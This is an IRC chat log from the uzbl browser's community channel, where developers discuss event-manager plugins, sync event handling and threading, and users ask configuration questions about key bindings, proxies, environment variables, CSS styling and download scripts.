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09:26 < Dieterbe_> mason-l: btw, on_event.py comes with a little example at the top. maybe you can do that include in the sample config
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09:32 < christophe-marie> Hi!
09:33 < christophe-marie> How do I bind key combinations with modifiers in uzbl?
09:34 < christophe-marie> I want to map CTRL + Left click ...
09:34 < christophe-marie> and CTRL + F6
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09:43 < mason-l> Dieterbe_, Ok.
09:43 < mason-l> Dieterbe_, And I've also got a few things you can pull if you are available.
09:44 < mason-l> I've got one more thing to push first.
09:46 < Dieterbe_> i'm at work. ask rob| to test/pull your stuff
09:47 < mason-l> Ok.
09:47 < mason-l> Hey rob|, are you around
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09:49 < mason-l> Dieterbe_, I've added a plugin template: http://github.com/mason-larobina/uzbl/blob/experimental/examples/data/uzbl/scripts/plugins/plugin_template.py
09:50 < Dieterbe_> that's a good idea. very useful. be sure to keep it up to date if you change things later
09:57 < mason-l> Dieterbe_, I'm just wondering though, are $'s the best symbols to use given anyone wanting to use a shell command as an on_event will have to escape their $'s
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09:58 < mason-l> Maybe: "%@, %0, %1, %2, %3, .." instead.
09:59 < Dieterbe_> oh it's just the first thing i came up with.  feel free to pick something else
09:59 < scj> use §
10:00 < mason-l> scj, I don't even know how to type that :S
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10:10 < rob|> morning.
10:10 < Frots> morning rob|
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10:43 < github> uzbl: Mason Larobina experimental SHA1-99742e8
10:43 < github> Added progress_bar plugin and updated config with examples.
10:43 < github> http://bit.ly/ronq5
10:43 < github> uzbl: Mason Larobina experimental SHA1-a02795d
10:43 < github> Reset progress bar on LOAD_COMMIT
10:43 < github> http://bit.ly/2BRtkP
10:43 < github> uzbl: Mason Larobina experimental SHA1-7c6c793
10:43 < github> Unicode support for the EM and sprite option for the progress plugin.
10:43 < github> http://bit.ly/10vYtv
10:43 < github> uzbl: Mason Larobina experimental SHA1-d122dfc
10:44 < github> Added a plugin template for the event manager.
10:44 < github> http://bit.ly/1eLRD
10:44 < github> uzbl: Robert Manea experimental SHA1-e6741da
10:44 < github> get rid of the progressbar
10:44 < github> http://bit.ly/xkZor
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10:44 < rob|> mason-l: ^^
10:44 < mason-l> G'day rob|
10:44 < rob|> hey :)
10:45 < mason-l> rob|, Want to test and push the "%@ %1 %2 %3.." in the on_event plugin now? :)
10:45 < mason-l> Pushed 5 seconds ago.
10:47 < mason-l> Also I think the keycmd updates in insert mode (when you press a modkey) are distracting so I'm going to remove the keycmd updates.
10:47 < rob|> oh, yeah i guess that's better than $ also you may want to stick with this scheme for all plugins (the progress one uses it, too)
10:47 < mason-l> rob|, Yeah that was my reasoning :)
10:48 < mason-l> Its not necessarily better than $ but at least we won't have to worry about escaping $'s in shell commands which are run by the on_event plugin.
10:49 < rob|> btw, did you already notice this cool side effect, from within uzbl (default config) type:  :@bind   <-- it will automatically expand while typing
10:49 < mason-l> Yes i did!
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10:49 < rob|> could be a problem, though with vars like '@fo' and '@foo'
10:49 < mason-l> Its got its good and bad points though.
10:50 < mason-l> Like being unable to see anything while the variable name is being typed.
10:50 < rob|> yeah
10:50 < mason-l> In that regard I'm not sure its favorable.
10:50 < mason-l> I thought the escaping would have taken care of that.
10:51 < mason-l> One quick fix is replacing all outgoing @'s to the keycmd with \@'s
10:52 < mason-l> Also rob|: Try to type \ in the keycmd :D
10:52 < rob|> well, it's probably a qouting issue with the 2 stages of expansion going on the there
10:56 < rob|> yeah noticed the '\' thing
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11:22 < mason-l> rob|, Pushed some more updates fixing those problems.
11:22 < rob|> playing around with the statusbar :)
11:22 < mason-l> And I think I found a bug in the escaper.
11:23 < rob|> oh, in core you mean?
11:24 < mason-l> Actually I think its on my end :S
11:51 < rob|> i guess you should make the event parser a bit more error tolerant, things like '@bind' with no args will break it
11:52 < mason-l> Yeah give me a moment, I'm repairing the config plugin.
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11:52 < rob|> sure, no hurry
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12:04 < farhaven> bct: yep
12:04 < farhaven> it involves modifying followLink.js though
12:09 < mason-l> rob|, Pushed the fixes.
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12:10 < lich> ohai
12:12 < lich> ok so I'm attempting to style pages using a css file. I've maed it so it changes the background on sites and links..anythign else I should take care of? like tables etc? I want a dark style..anyone got a style that covers many of these options?
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13:02 < rob|> mason-l: sorry, was a bit busy. pushed your changes..
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13:11 < rob|> mason-l: so the only two serious things missing in experimental are sane multiple instances management and sync events, right?
13:13 < rob|> we should sort out best practice for the former. for the latter i was thinking of an simple response interface based on uzbl vars
13:13 < rob|> so there might either be a "global" event_response var that holds the response strings for any sync response
13:13 < rob|> or a response var per event, like response_load_commit, etc.
13:14 < rob|> so plugins would simply need to 'set respone_foo = something'
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13:42 < Dieterbe_> rob|: if that works, great! better then all the thread issues
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14:10 < Allive> Hi all
14:10 < Allive> is it posible in new EM that, for example, cyrilic letter will handled as english letter
14:10 < Allive> now it looks like this: <Cyrillic_ka>
14:10 < Allive> and they don't appear in command prompt
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14:16 < rob|> Allive: well, that would require some translation tables. fortunatelly the mapping of iso latin1 is 1:1 that's why those chars work
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17:36 < Dieterbe_> Frots: can you please stop changing your name?
17:38 < Frots> Dieterbe_: since when?
17:39 < Frots> I was gone for like 2 or 3 hours :s
17:39 < Dieterbe_> you do it all the f** time
17:39 < Frots> jeez
17:39 < Frots> I was offline, my nick changes
17:39 < Frots> when Im online its frots
17:39 < Dieterbe_> don't change your nick. kthxbye
17:39 < scj> nobody cares. stop doing it, it's annoying
17:40 < Frots> omg
17:40 < Frots> bye
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17:40 < bct> ell oh ell.
17:40 < Dieterbe_> fair enough :)
17:42 < jelly12gen> :D
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21:15 < jerojasro> hi all. does uzbl support spatial navigation for links? it is described here http://www.codinghorror.com/blog/archives/001057.html and here http://www.opera.com/browser/tutorials/nomouse/
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21:20 < scj> jerojasro: no. you're welcome to implement it
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21:21 < jerojasro> scj: hum, I've been toying with the idea of doiing that for konqueror since a while ago, but I just heard about uzbl and it seems like a far better target for doing that
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21:31 < scj> imo, spatial navigation seems inferior than vimperators hinting system as long as you have access to a full sized keyboard
21:31 < scj> makes sense on a smartphone where you navigate with a joystick
21:35 < zash_> what happens if you throw all links on dmenu?
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21:42 < jerojasro> that would throw me out of focus, I think, and worse, would make me lose the context of each link
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22:41 < sECuRE> is it a known bug that right-clicking on an image and chosing "open image in new window" opens the link, but not the image itself in a new window?
22:41 < sECuRE> and, how can i get the URL of an image?
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00:04 < Dieterbe_> back from fair
00:04 < Dieterbe_> it was good
00:05 < Dieterbe_> i'm off see you dudettes laterzz
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01:43 < bct> anybody else have trouble getting to bugs.webkit.org with uzbl?
01:43 < bct> it just continuously reloads for me
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02:18 < L29Ah> worksforme
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08:58 < rob|> morning.
09:05 < Dieterbe_> hey
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09:29 < rob|> so i guess a found a way to handle sync events using just an alternate layer of blocking select()
09:29 < rob|> s/a/I/
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09:33 < rob|> i.e. handlers that need sync responses will wait for a command or timeout. if there was a timeout or the command is inavlid the handler will take a default action, otherwise the response is used to decide on how to proceed further
09:33 < rob|> i wonder wether we should mark events that can handle sync responses specially like SYNC_EVENT or something
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09:55 < rob|> mason-l: would it be possible to _first_ process the on_event plugin and _then_ everything else when an event occurs?
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10:54 < lich> :O
10:55 < Dieterbe_> ?
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10:57 < lich> ohai Dieterbe_
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11:16 < lich> anyone had a chance too look at my tiny download script? waiting for suggestions :)
11:18 < Frots> how does it work lich ?
11:18 < Frots> Im stil lwaiting for the awesomest :p
11:19 < lich> Frots: well it spwns dmenu listing your visible folders in the home dir, and it recurses, when you;re set on a folder, you hit excape and it launches an xterm with a curl or wget download. xterm waits for input when download finishes, and then closes
11:21 < lich> http://bbs.archlinux.org/viewtopic.php?id=70700&p=24   last post
11:22 < lich> I should add something to cancel the download script if you change your mind..and something to go up a directory too
11:23 < Frots> cool
11:23 < Frots> thats pretty nice
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11:23 < Frots> Is it easy to change terminal? or does it depend on xterm lich
11:25 < lich> Frots: any terminal that uses -e
11:25 < lich> so urxvt atleast works
11:25 < lich> you may need to change those color flags though, unless urzvt uses -fg -bg too
11:25 < lich> not sure, I config those through Xdefaults
11:26 < Frots> yeah me too
11:26 < Frots> hmm I will look into it!
11:26 < Frots> I like the fact that it spawns and does the downloading external
11:27 < lich> yup, same flags
11:27 < Frots> what happens if I for example close the curl/wget terminal?
11:27 < lich> just replace xterm with urxvt
11:27 < lich> Frots: well, the download is half way, nothing happens to uzbl
11:27 < Frots> ok and the file is nowhere?
11:27 < Frots> so thats like cancelling
11:28 < lich> it's where you started the download
11:28 < lich> Frots: immagine that you download manually
11:28 < lich> the scrpt just passes the url
11:28 < lich> everything else is like you would do it manually from the console
11:28 < lich> uzbl's part is over once the script is launched...or atleast I think it is didn;t look up the download procedure in the sources
11:29 < Frots> hehe ok
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12:54 < mason-l> <rob|> mason-l: would it be possible to _first_ process the on_event plugin and _then_ everything else when an event occurs?
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12:56 < mason-l> I've deliberately haven't included anything that does this to avoid plugin favoritism. If a plugin really needs access to the KEY_PRESS first then have it register a KEY_PRESS and make it raise a RELAY_KEY_PRESS even which the others now listen to.
12:56 < mason-l> *raise a RELAY_KEY_PRESS which the others now listen to.
13:00 < Dieterbe_> o_O
13:01 < Dieterbe_> what's wrong with the ability to "order" plugins? after all the user is in control, it's not like plugins are 'evil black boxes'. they are tools to let the user achieve what he wants
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13:14 < mason-l> And rob|, What could the on_event possibly do that requires it to be executed before other event handlers of that particular event?
13:19 < rob|> mason-l: well, it would be handy for the sync events stuff. cosider this: core sends LOAD_START from a webkit callback function, calls answer = get_respone() and decides based on the answer if the load should be carried out or canceled
13:20 < rob|> so get_response() will block for a certain time and wait for a "set event_response = carry_on"
13:21 < rob|> if it gets other input during the time, i.e. not a 'set event_response = ...' it would no be able to process the answer
13:21 < mason-l> Interesting, but I think we are trying to cover too many functions with the one keyword/action.
13:22 < mason-l> Maybe a: query SHOULD_LOAD http://google.com/
13:22 < mason-l> then reply: query SHOULD_LOAD True
13:22 < mason-l> or something.
13:22 < mason-l> or response SHOULD_LOAD True
13:23 < rob|> well, ok that's just semantics that don't really change the actual issue
13:23 < mason-l> I certainly not in favor (given we have the ability to write it correctly) to use the "set event_response = carry_on" method.
13:23 < rob|> with receivinf random commands that are not a response to an event
13:25 < rob|> the problem is that we need to block the webview until we get an answer or a timeout kicked in
13:26 < rob|> so sending that answer back as the first thing would be nice in terms of speed and code complexity
13:26 < mason-l> rob|, Why not then inside the blocking function call an "read incoming data" function that only parses 'response' commands?
13:27 < mason-l> There also needs to be a way of signaling 'no-response' to prevent timeout slowdowns throughout the code.
13:28 < mason-l> So thats also another reason to handle 'queries' differently than events.
13:28 < rob|> we can do this, too. but this has some implications. we need to re-block and re-calculate the timeouts on each "wrong" answer and there is no way to continue the main loop without risking side effects
13:28 < mason-l> queries for example shouldn't be raisable in the config.
13:29 < mason-l> Maybe the two-thread system is the only workable solution.
13:29 < rob|> not even that,we need to block the main loop either way
13:29 < mason-l> The main gtk loop?
13:29 < rob|> yes or alternatively a thread that runs the webview
13:30 < rob|> the latter is even worse as it holds the potential for lots of race conditions and mutex nightmares
13:30 < rob|> s/mutex/locking/
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13:31 < mason-l> Certainly a tough decision.
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13:32 < mason-l> Cookies fall into the same category, they should raise something like a query like event.
13:32 < rob|> also the webview and out command parsing are so tightly integrated that i'm not even sure wether running these in separate threads would be even doable..
13:32 < lich> does uzbl have cache yet? or does it still reload the page when you do a back?kidna hard to notice when you got a fast connection
13:32 < rob|> s/out/our/
13:32 < mason-l> But queries should have unique id's.
13:33 < mason-l> rob|, Thats scary.
13:37 < rob|> it is, i think in order to separate them in distinct threads we'd need a custom in-code signaling mechanism that can block on specific threads
13:37 < rob|> like block the webview but not the statusbar, etc.
13:38 < rob|> and it would also need a facility to mask certain events from execution in specific threads
13:43 < rob|> lich: it has no disk-cache but it will cache the pages in memory for as long as the uzbl instance runs
13:44 < lich> oh that's enough
13:44 < lich> i always clear it anyway
13:48 < lich> so any of you using this as an everyday browser yet? or just for simple stuff?
13:49 < MichaelRaskin> I use it as 90%
13:49 < MichaelRaskin> With FF fallback
13:49 < opqdonut> on some days i use it almost exclusively
13:50 < opqdonut> on some days i use chrome and opera and not uzbl:)
13:51 < lich> I should start with that download script..I need a way to go up a folder..shouldnt be too hard
13:52 < lich> and while at it I should add a "Save" option there so you don't have to hit excape I guess
13:58 < mason-l> rob|, What I would do is have a thread that takes care of all the communication but not command parsing. When it reads a line and it doesn't start with "response" then put it in a 'to-be-parsed' queue. If the message does start with response parse it (using its own parser) and set the value of the unique query id (in a hash table) to the response. All the while the webview main thread is blocking for the response to be 'filled-in' by the
13:58 < mason-l>  query-response parser. And all the other uzbl commands are parsed and executed after the lock releases and the main-loop is looping again.
14:00 < mason-l> This might call for a different method of listening for input on the socket.
14:01 < mason-l> And actually there will only ever be one query being sent at a time so it might not be necessary for a hash-table & unique id system.
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14:05 < lich> yay we have cancel and up :D
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15:13 < rob|> well, i think we need 3 threads for the commands: T1 that does just IO and writes the read lines to a async queue. T2 parses "regular" commands from the queue. T3 parses events from the queue
15:14 < rob|> T3 blocks the main loop/webview and signals T2 that it should buffer regular commands until a flag is set
15:14 < rob|> then one thread for the webview and one for the statusbar (update_gui)
15:19 < Dieterbe> would it be possible to avoid threading complexity in uzbl by changing the implementations of io_channels in glib?
15:20 < rob|> probably, we would need a means to make an io_watch blocking _and_ respecting a timeout
15:21 < rob|> this _might_ also be possible with a custom GSource
15:21 < rob|> not really sure about this. the docs are quite confusing..
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15:27 < Dieterbe> sorry dudes
15:28 < rob|> dieter?
15:28 < rob|> hmm
15:28 < Dieterbe> my ctrl-c is broken so i had no choice then to paste this after accidentially middleclicking in irssi ><
15:28 < zash_> Dieterbe: pastebin?
15:28 < Dieterbe> i tried xdotool type 'ctrl+c' to no avail
15:30 < zash_> that gives me an idea, a plugin that pastebinns stuff instead of asking
15:30 < Dieterbe> that sounds like a good idea
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15:34 < lich> http://bbs.archlinux.org/viewtopic.php?id=70700&p=25
15:34 < lich> downloader completed :)
15:34 < lich> has save, cancel and up
15:34 < lich> oshi, forgot to test agains empty strings(escape in dmenu for example...fixing now :) )
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15:41 < lich> done
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15:58 < mason-l> rob|, But is it safe to do any command execution out side of the main loop?
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16:09 < rob|> probably not, so one more async queue..
16:10 < rob|> there must be an easier solution!
16:12 < mason-l> Welcome to the C programming language :P
16:13 < rob|> oh, that's unfair this is a general problem and not a C specific one ;)
16:32 < mason-l> And on that note, bed time.
16:32 < mason-l> Night guys.
16:33 < Dieterbe> see ya mason-l 
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16:40 < lich> http://omploader.org/vMmVwNw
16:42 < Dieterbe> what's the bar at the bottom?
16:42 < lich> ion3 :P
16:43 < Dieterbe> k
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20:19 < rob|> so, i'd like to write an easy to understand and informal article about the experimental branch and actually just started doing so
20:19 < rob|> do you think the start is too technical, or would it be understandable for the "normal" user:
20:19 < rob|> http://dpaste.com/97303/
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20:29 < bct> looks ok to me
20:30 < bct> is there going to be a list of the events that are sent?
20:31 < rob|> well, there is one in the README but i could include it there too
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20:34 < bct> no point in duplicating it
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20:35 < kustom> hi
20:35 < rob|> hey
20:35 < kustom> i want to use uzbl with the proxy of my university and set it with "s proxy_url proxy.adress:port"
20:35 < rob|> mason_l: ^^ i'd really like a couple of words from you for the second paragraph
20:36 < kustom> but i have to add loginname and password too, how can i manage this?
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20:37 < scj> kustom: have you tried set proxy_url = http://username:password@proxy.address:port ?
20:40 < kustom> yep, tried it but didnt work
20:42 < kustom> maybe it doesnt work because there is a ":" in the password ?!
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20:44 < rob|> i'm not sure wether soup handles such uris at all, but there are ways to provide credantials, they just need to be implemented..
20:49 < Dieterbe> rob|: s/general/generic/ + maybe you could also mention events such as page_loaded. users may get a wrong picture if they only se the keybinding examples + can you add the reasoning why this is better?  both in your words and mine @ http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-September/000321.html there are advantages listed
20:49 < Dieterbe> oh and great idea
20:49 < scj> rob|: looks like it does http://library.gnome.org/devel/libsoup/stable/libsoup-2.4-SoupURI.html#SoupURI
20:50 < rob|> Dieterbe: ok
20:50 < rob|> scj: yeah, we would probably just need a "proxy_user" and "proxy_password" variable
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20:51 < scj> it should be able to parse http://user:pw@proxy:port
20:51 < kustom> also doesnt work with password without :
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20:53 < kustom> i added set proxy_url = http://login:pw@server:ip
20:54 < rob|> "... libsoup does not normally use these fields ..." <-- how unclear can documentation be?
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20:57 < scj> oops
20:58 < rob|> does that mean that the fields all still parsed in filled into the SoupUri structure but not used for auth?
20:58 < rob|> or what exactly?
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00:14 < slyson> hi. When I print the $XDG_DATA_HOME variable on my terminal it shows the path I want, but uzbl doesn't seem aware of the value because its output reports "no such file or directory" when I try to launch scripts from binds. Has anyone else experienced this? I'm using uzbl-experimental-git.
00:20 < mason_l> <rob|> mason_l: ^^ i'd really like a couple of words from you for the second paragraph
00:20 < mason_l> Oh dear.
00:21 < mason_l> It will have to wait until I get back from work.
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08:48 < rob|> morning.
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09:11 < Dieterbe> hideli ho
09:12 < Dieterbe> slyson> uzbl-experimental also doesn't recognise ~ in my config. I have to type the full path to my home directory. <-- you can use $HOME. uzbl does not expand ~ but it does expand env vars
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09:41 < rob|> hmm, playing around with manually calling g_main_context_interation() and it doesn't seem to kick in when io watches are ready
09:41 < rob|> no idea why, though..
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09:52 < lich> o/
09:52 < YamiFrankc> \o
09:55 < Frots> hi hi
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09:59 < lich> is there any talk about any sort of plugin system for uzbl? I especially enjoy the firefox extension Flashblock..something like that might be cool (stop flash areas from loading and just enable it on click or something)
10:02 < YamiFrankc> the wiki talks about it. i think. but its more script like
10:02 < rob|> lich: well, sort of. the event messages (and event manager) want to solve exactly this issue while allowing to write the plugins in any language
10:04 < rob|> lich: another possibility is to code that in java script and attach the script to a suitable event (like load_start, load_commit, etc.)
10:04 < YamiFrankc> uzbl keys are like vim's? right?
10:05 < rob|> YamiFrankc: many are, not all though
10:06 < YamiFrankc> i used uzbl the other day before i knew vim keys. and i werent capable of writing :p
10:06 < YamiFrankc> so to write it is i...
10:06 < rob|> into a html form, yes
10:07 < YamiFrankc> like in google or a forum
10:07 < rob|> this will tell uzbl to not interprete what you write as a command but rather direct the input to the website
10:07 < rob|> like vi's input mode as opposed to command mode
10:08 < YamiFrankc> oh then ill start using uzbl tomorrow
10:08 < lich> rob|> lich: another possibility is to code that in java script and attach the script to a suitable event (like load_start, load_commit, etc.)
10:08 < lich> good idea
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10:09 < lich> man vim foldings are so damn cool
10:09 < rob|> hmm, i got bored of them. they do look pretty cool but all the manual folding/unfolding sucks
10:11 < lich> you can make it automatical. it follows certain syntax
10:11 < lich> no manual though, I add them inside the file itself
10:11 < YamiFrankc> rob|,what is the key to insert a url?
10:11 < lich> YamiFrankc: o <url here>
10:11 < rob|> yeah, though marks and searching make me more productive than folding
10:12 < lich> rob|: true..but it's not like I work with 1000+ lines of code anyday..so no biggie :)
10:12 < lich> brb..job calls
10:12 < rob|> YamiFrankc: by default 'o<space>url<Enter>' like 'o uzbl.org'
10:13 < YamiFrankc> lich,rob| thanks. i have only tried uzbl [url] on a terminal :p
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10:14 < rob|> YamiFrankc: the experimental branch has a lot more goodies with re. to key bindings, like modifiers, custom prompts, etc.
10:15 < lich> rob|: well I used the config to style my statusbar prompt
10:15 < rob|> so you could set it up (this is in the default config) to: if you type 'o', it will show 'url:' in the statusbar, you enter the url and off you go
10:15 < lich> or does the experimental on  ehave better stuff? :)
10:15 < lich> rob|: oh that's nice :)
10:15 < rob|> yeah, that's pretty cool
10:17 < YamiFrankc> nice. the uzbl i have right now has not a status bar. do i need to enable it? or is only on experimental by now?
10:17 < rob|> no, uzbl always had a statusbar. you should use the default config in order to get an impression of what's possible
10:19 < rob|> YamiFrankc: so: "mkdir ~/.config/uzbl" then  go to uzbl's source folder and: "cp examples/config/uzbl/config ~/.config/uzbl"
10:19 < rob|> restart uzbl and enjoy the default settings...
10:20 < lich> YamiFrankc: press t
10:20 < YamiFrankc> ty :p. and what is a uzbl prompt like?
10:21 < YamiFrankc> oh no no. im not at pc atm. im using a nintendo ds for irc
10:21 < rob|> a prompt? like whatever text string you want
10:21 < lich> YamiFrankc: ima get one soon
10:21 < lich> psp fan for now
10:21 < YamiFrankc> yeah. but what can it display?
10:22 < rob|> ?
10:22 < YamiFrankc> lich,cool. be sure to get a flash card. homebrew and roms[if you want] makes it better
10:23 < YamiFrankc> what the uzbl prompt can display? like %n for zsh or so
10:23 < rob|> @bing g<google search:>_ = uri http://www.google.com/search?q=%s
10:23 < rob|> well it can display any text and any uzbl/custom variable
10:24 < YamiFrankc> o,i better read the wiki again tomorrow and stop bothering you :p
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10:24 < YamiFrankc> my touch screen is starting to fail :/
10:24 < rob|> right, reading documentation is always a good idea ;)
10:25 < lich> YamiFrankc: I collect games..I don're really encourage piracy unless you want to test the games before you buy..I will get a R4DS thingie though..I may get into homebrew dev
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10:27 < YamiFrankc> well,yes neither i do like piracy much...but in mexico games are really expensive and im not the rich kind
10:28 < YamiFrankc> a 40/50 usd game could get up to 100 in some places
10:28 < rob|> replace the games with an editor and C compiler and start having some serious fun :P
10:30 < YamiFrankc> hehe. yeah i want to start programing already. i know a bit of C already. but im somewhat lazy to open my coding pdfs :/
10:31 < Hunner> Any tips on why $XDG_DATA_HOME might not be getting expanded?
10:31 < Hunner> (using the example config)
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10:33 < rob|> Hunner: probably because you didn't set it to anything
10:34 < rob|> in the environemnt, that is
10:35 < Hunner> ni% echo $XDG_DATA_HOME
10:35 < Hunner> /home/hunner/.local/share
10:35 < Hunner> I assume it inherets from my env
10:36 < rob|> yeah, it should do that
10:45 < axionix> hey guys. is it possible to anti-alias big fonts?
10:52 < axionix> some fonts look very bad compared to firefox, i'm guessing due to pango...but is there a fix?
10:53 < lich> any plans on adding some custom input to the status bar? that sets some variable or something? would go great with my download manager, would allow me to choose custom names for file downloads
10:59 < rob|> lich: you can add any custom or uzbl var to the status bar, update_gui will redraw it on demand
10:59 < rob|> s/demand/request/
11:00 < axionix> http://omploader.org/vMmV3ZQ
11:02 < rob|> axionix: that's not the same font, is it?
11:02 < axionix> how do i tell?
11:03 < rob|> see the readme for all the font vars you can set
11:03 < lich> rob|: I want the exact opposite to that. when I start to download a file, I want it to allow me to input a name or something (want to add that to my download script)
11:04 < rob|> so you want a custom input box?
11:05 < lich> something like that..will probably do it outside the browser though
11:05 < rob|> yep, that's definitly the preferred way
11:05 < rob|> you can write the name back to an uzbl var, though
11:06 < rob|> in order to make use of it...
11:06 < lich> I should write that actually..hmmm
11:06 < lich> do you people frown upon C "scripting" of uzbl? I could do more with C than with scripts
11:06 < lich> was thinking of a beautiful download manager with input etc
11:07 < lich> shouldn't require more than xlib and curl
11:07 < rob|> well, write your apps in whatever language you like that's the whole point of uzbl
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11:09 < rob|> but beware, xlib only (i.e. no widget library) needs quite a bit of code even for rather easy tasks
11:10 < rob|> anyways, dmenu should provide quite a bit of reusable code for you
11:10 < lich> rob|: I know enogh xlib to write a working wm, I'll be alright :)
11:11 < rob|> well, a WM is quite trivial compared to rich input forms
11:11 < lich> I won't add any widgets, still kboard controlled..since many people that use uzbl use tilers too
11:11 < lich> actually I assume the majority of uzbl users use a tiler
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11:44 < sman> what's the right way to chain these commands so that both work?
11:44 < sman> set load_commit_handler = chain 'set status_message = <span foreground="green">recv</span>'      'sh "echo script $XDG_DATA_HOME/uzbl/scripts/linkfollow.js" > $4'
11:44 < sman> uzbl exits uncleanly every time I run it, leaving broken fifo
11:47 < rob|> try:  set load_commit_handler = chain 'set status_message = <span foreground="green">recv</span>' 'script linkfollow.js'
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11:58 < axionix> it seems fonts only get anti-aliased at super huge sizes
11:58 < lich> that should be handled by webkit I think, not the browser's fault..or am I wrong?
11:58 < Dieterbe> btw rob| i talke to some arch guys. they will release new webkit/soup packages together with gnome 2.28
11:59 < Dieterbe> talked*
11:59 < axionix> well, it was recommended to use the font variables to change fonts....but they dont work
12:00 < lich> axionix: from what I've browsed through the config, you can only set fonts for the statusbar. maybe style with css? still not sure if tht would handle antialiasing
12:01 < axionix> lich: in the readme you can set the font family for different font styles
12:02 < axionix> ...to no effect
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13:05 < lich> uzbl_tabbed is lovely...but..no font customizing? :(
13:30 < lich> nvm :)
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13:39 < mason-l> Hey Dieterbe, Hey rob|.
13:39 < mason-l> rob|, You mentioned yesterday using 3 threads, why the need for 3?
13:41 < Dieterbe> hey mason-l 
13:41 < mason-l> Hey Dieterbe, whats been happening?
13:42 < lich> uzbl_tabbed.py ftw
13:42 < mason-l> lich, Glad you like it.
13:42 < lich> mason-l:  your doing?
13:43 < mason-l> lich, The most recent version, yeah.
13:43 < mason-l> 're-write.
13:43 < lich> oh awesome..great work mate, just done with configuring it
13:43 < lich> btw it doesn't work
13:43 < mason-l> Actually its a little old now.
13:43 < lich> well one part
13:43 < lich> gi_
13:43 < lich> not working
13:43 < mason-l> lich, It doesn't work in experimental yet.
13:43 < lich> I'm debugging it now
13:43 < mason-l> Oh?
13:43 < mason-l> Ok
13:43 < lich> kinda suck at python though
13:43 < mason-l> Let me know if you discover anything.
13:44 < mason-l> brb, getting cleaned up.
13:45 < lich> mason-l: I use uzbl-git 20090826-2
13:48 < lich> I have a question. is ther eany particular reason why you use the 2 separate expanded XDG directories? It's murder when you back stuff up (well I made a script for it but still).
13:50 < scj> adherence to the xdg standards, I think
13:50 < lich> thought so...but it's anoying
13:50 < rob|> it is..
13:51 < lich> I would rewrite my configs and scripts, but as soon as a new script pops up, I have to edit that too...so it would get even more anoying
13:51 < scj> make the xdg vars point to the same dir
13:51 < lich> oh good idea
13:51 < lich> but it could fuckup some other apps..
13:52 < rob|> use uzbl vars instead..
13:52 < lich> anyways, Dieterbe, I believe I owe this project and apology..I was agains it from day 1, but seems to have turned into something indeed uzbl..expect to see me around a lot more from now on :D
13:52 < scj> symlink on of the xdg vars to the other
13:53 < lich> scj: that would interfere with other apps that use the variables
13:53 < lich> nah, I wrote the script to back stuff up, I'm aleave it as is
13:53 < scj> not if you symlink $XDG_CONFIG_HOME/uzbl to $XDG_DATA_HOME/uzbl
13:54 < lich> oh yes, that's good
13:54 < holizz> I can reproducably crash uzbl.
13:55 < holizz> Visit: https://niche.endsleigh.co.uk/Renewal.aspx on the first field in DOB left-click, and then right-click. Is it just me? Or not?
13:55 < holizz> I'd test, but brb lunch.
13:55 < lich> crashed only once for me, some flash site, and a pop up
13:57 < scj> doesn't crash for me
13:57 < axionix> does for me
13:57  * lich tries
13:58 < lich> didn't crash here either
13:58 < lich> any plans for ftp:// handling?
13:58 < lich> I use it quite often
13:59 < scj> doubt it
13:59 < Dieterbe> use the scheme handler
13:59 < axionix> confirmed holizz's problem is not related to webkit...doesnt affect chrome or midori
14:02 < lich> Dieterbe: you mean use that to spawn other apps to handle it?
14:05 < Dieterbe> yes
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14:19 < scj> any ideas why the extjs demos don't work in midori but not uzbl? http://www.extjs.com/deploy/dev/examples/feed-viewer/view.html
14:19 < scj> work in midori, not uzbl*
14:24 < lich> http://omploader.org/vMmV4Ng
14:24 < lich> :D
14:26 < rob|> nice
14:27 < scj> it would be cool if someone wrote a js script that normalizes the color intensity of pages
14:28 < scj> i know next to nothing of color theory, so it might not actually be possible to do
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14:37 < lich> scj: that's what css styles are for. btw, any plans on per site css handling? :)
14:38 < scj> lich: it's easy enough to script. use load_start_handler to change the stylesheet_uri depending on the url
14:41 < lich> thought about it..just though I ask first
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14:41 < lich> oh..this opens up a new world for me :D
14:41 < lich> no more hugeass .css
14:42 < scj> but my idea is to use js to do a linear transform of the color space, sort of
14:42 < lich> I don't know any js
14:42 < lich> until 2 days ago, I didn;t know css either
14:49 < DuClare> lich, How do you change the intensity with CSS?
14:50 < lich> I didn't change intensity, I stiled the colors themselves. so uzbl replaces every occurance of the stiled property with th eone defined by me
14:51 < lich> styled*
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14:55 < rob|> lich: re. per site styles, a very easy method would be something like this in a load_* handler: set load_commit_handler = set stylesheet_uri = @(myscript '@uri')@  <-- where myscript would just print the file path/uri to stdout..
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15:00 < lich> rob|: cheers
15:01 < lich> tbh what I have set now stiles most sites, but it's nice to have per site styles
15:01 < lich> youtube looks dandy too :D
15:01 < lich> I had the archlinux forums and google in mind when I started though..and these theme fine for me
15:04 < lich> I must say it's amasing at what a nice overall setup you can get when you use only 4 colors. 2 grays a red and a green :))
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15:50 < slyson> hi. I can't find a way to get uzbl-experimental-git from aur to use variables like XDG_DATA_HOME in the path name. I could use find and replace on all my scripts to make the paths absolute I know, but I'm thinking there must be a way. The XDG variables are set. I can't use ~ for home either.
15:51 < rob|> '~' won't wotk but shell vars should be replaced
15:51 < rob|> *work
15:55 < sitwon> $HOME
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16:45 < bct> scj, why would you like to normalize colours? for improving contrast?
16:46 < lich> for having a less burnt retina
16:46 < lich> :)
16:46 < scj> bct: reduce intensity
16:46 < lich> some sites are just impossible to browse with lights turned down..it's like a damn neon in your face
16:47 < bct> ah
16:47 < bct> but then it will be harder to see my lime green text on a purple background :(
16:47 < bct> (with orange links)
16:48 < bct> it's an interesting idea
16:51 < lich> hey, when you download a file, and controll passes to download.sh, is there any variable passed that holds the filename? was thinking of  modifying my script to show /current/path/filename.ext
16:51 < lich> or should I just extract from the url?
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16:53 < scj> lich: check for Content-Disposition in the reponse header, otherwise you'll have to use the url
16:55 < scj> but to answer your question; no. there is no variable with the filename
16:57 < lich> dammit, I can't use the prompt to display the file..it has a limit on width, and all I get to see is like 3-4 chars of it
16:58 < lich> ih well, guess the user has to know what he saves :)
16:58 < lich> ok well*
17:05 < slyson> shell variables are not replaced in the config file for me. Using $HOME doesn't work either.
17:08 < scj> on the experimental branch, who does the shell var expansion? the event handler or uzbl-core?
17:08 < rob|> core
17:10 < lich> anyone happen to know what css class handles the hints you get on `fl' ?I need to theme the background
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17:12 < rob|> slyson: you must be doing something wrong, i just checked and env vars are expanded for me
17:12 < UukGoblin> hello :-)
17:12 < lich> nvm
17:12 < rob|> slyson: try this from terminal: "uzbl -c -"  and then type into the terminal: set foo = $HOME/test
